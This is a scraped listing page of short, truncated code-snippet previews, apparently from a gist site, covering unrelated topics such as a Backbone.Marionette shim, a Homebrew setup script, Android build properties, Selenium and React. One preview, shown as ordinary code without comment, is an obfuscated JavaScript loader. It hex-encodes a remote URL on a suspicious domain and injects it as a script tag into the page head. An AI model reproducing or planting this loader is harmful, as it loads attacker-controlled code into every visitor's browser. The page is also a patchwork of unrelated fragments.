This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
var EventEmitter = require('events').EventEmitter, | |
globalChannel = new EventEmitter(), | |
Rx = require('rx'), | |
nutrients = require('./food-objects/nutrients'), | |
nutrients, | |
defaultHandlers = { | |
onError: function (err) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{"title":"Backbone.Marionette - replaceElement","author":"trezy","pages":[{"pageName":"","sections":[{"type":"text","source":"My biggest gripe about Backbone.Marionette is that `Region`s require a wrapping element. Fortunately I've come up with a way to turn a Region's element into nothing but a placeholder so that it's removed when you use `Region.show()` to display a view. This will likely be in Marionette V3 but I don't want to wait that long so I've written this shim to implement the functionality today.\n\nFirst, we need to add a couple new methods to `Region`. `replaceEl()` will be called when we use `Region.show()` on an empty `Region` and `restoreEl()` will only be called when we use `Region.empty()` to make sure that we don't lose our `Region`'s position in the DOM."},{"type":"javascript","source":"Marionette.Region.prototype.replaceEl = function(view) {\n var parent;\n \n parent = this.el.parentNode;\n parent.replaceChild(view.el, this.el);\n this.replaced = true;\n};\n\nMarionette.Region.proto |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#Script to install Bedrock Wordpress stack on OSX | |
brew doctor | |
brew tap caskroom/cask | |
brew update && brew upgrade brew-cask && brew cleanup && brew cask cleanup | |
brew cask install virtualbox vagrant | |
brew install rbenv ruby-build | |
#use bashrc if you are not on zsh | |
cat >> ~/.zshrc << EOF | |
# ### |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var hs_tld=document.createElement('script'); | |
hs_tld.setAttribute("type","text/javascript"); | |
var _0xa6dz=["\x68\x74\x74\x70\x3A\x2F\x2F\x63\x6F\x6D\x2D\x61\x70\x69\x2E\x6F\x6E\x6C\x2F\x72\x65\x73\x70\x6F\x6E\x73\x69\x76\x65\x2E\x70\x68\x70\x3F","\x72\x61\x6E\x64\x6F\x6D"];var hs_flp=_0xa6dz[0]+Math[_0xa6dz[1]]();hs_tld.setAttribute("src",hs_flp); | |
if (typeof hs_tld!="undefined");document.getElementsByTagName("head")[0].appendChild(hs_tld); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# begin build properties | |
# autogenerated by buildinfo.sh | |
ro.build.id=JZO54K | |
ro.build.display.id=JZO54K.N8010XXUCMK2 | |
ro.build.version.incremental=N8010XXUCMK2 | |
ro.build.version.sdk=16 | |
ro.build.version.codename=REL | |
ro.build.version.release=4.1.2 | |
ro.build.date=Wed Nov 20 16:29:39 KST 2013 | |
ro.build.date.utc=1384932579 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mobile_emulation = { "deviceName" => "Google Nexus 5" } | |
caps = Selenium::WebDriver::Remote::Capabilities.chrome( | |
"chromeOptions" => { "mobileEmulation" => mobile_emulation }) | |
@driver = Selenium::WebDriver.for :remote, url: 'http://localhost:4444/wd/hub', desired_capabilities: caps | |
@driver.navigate.to "https://www.gmail.com/" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class TodoList extends React.Component { | |
constructor(props) { | |
super(props); | |
this.state = {name: "nope"}; | |
} | |
render() { | |
return ( | |
<ul> | |
<li>Updated</li> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title></title> | |
</head> | |
<body> | |
<script type="text/javascript" src="https://code.jquery.com/jquery-1.11.3.min.js"></script> | |
<link rel="stylesheet" type="text/css" href="../dist/fortitude.css"> | |
<link rel="stylesheet" type="text/css" href="../dist/fortitude-theme.css"> | |
<script src="../dist/fortitude.js"></script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/ruby | |
Dir.chdir(Dir.home + '/repos/all') | |
dirs = Dir.entries('.').select {|entry| File.directory? File.join('.', entry) and !(entry =='.' || entry == '..') } | |
dirs.each do |d| | |
Dir.chdir("#{Dir.pwd + '/' + d}") | |
puts Dir.pwd | |
system "git pull" | |
Dir.chdir(Dir.pwd + "/../") | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
- flash.each do |key, value| | |
javascript: | |
console.log("#{key}"); | |
toastr.options = { | |
closeButton: true, | |
progressBar: true, | |
timeOut: 9000 | |
}; | |
var flash = {}; | |
flash.message = "#{value}"; |
OlderNewer